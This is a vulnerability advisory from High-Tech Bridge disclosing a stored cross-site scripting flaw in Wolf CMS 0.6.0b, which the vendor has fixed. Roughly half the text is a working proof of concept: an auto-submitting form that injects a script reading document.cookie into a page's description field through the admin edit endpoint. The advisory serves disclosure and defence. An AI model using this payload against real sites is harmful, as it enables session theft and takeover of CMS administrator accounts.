Vulnerability ID: HTB22678 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms.html Product: Wolf CMS Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) Vulnerable Version: 0.6.0b and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "wolf/app/controllers/PageController.php" script to properly sanitize user-supplied input in "page[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main"> <input type="hidden" name="page[parent_id]" value="1"> <input type="hidden" name="page[title]" value="Page title"> <input type="hidden" name="page[slug]" value="sef_url"> <input type="hidden" name="page[breadcrumb]" value="breadcrumb"> <input type="hidden" name="page[keywords]" value=""> <input type="hidden" name="page[description]" value='descr"><script>alert(document.cookie)</script>'> <input type="hidden" name="page_tag[tags]" value=""> <input type="hidden" name="page[layout_id]" value=""> <input type="hidden" name="page[behavior_id]" value=""> <input type="hidden" name="page[created_on]" value="2010-10-22"> <input type="hidden" name="page[created_on_time]" value="06:15:18"> <input type="hidden" name="page[published_on]" value="2010-10-22"> <input type="hidden" name="page[published_on_time]" value="06:15:18"> <input type="hidden" name="page[needs_login]" value="2"> <input type="hidden" name="part[0][name]" value="body"> <input type="hidden" name="part[0][id]" value="11"> <input type="hidden" name="part[0][filter_id]" value="textile"> <input type="hidden" name="part[0][content]" value="This is a page"> <input type="hidden" name="part[1][name]" value="sidebar"> <input type="hidden" name="part[1][id]" value="12"> <input type="hidden" name="part[1][filter_id]" value=""> <input type="hidden" name="part[1][content]" value=""> <input type="hidden" name="page[status_id]" value="100"> <input type="hidden" name="commit" value="Save and Close"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version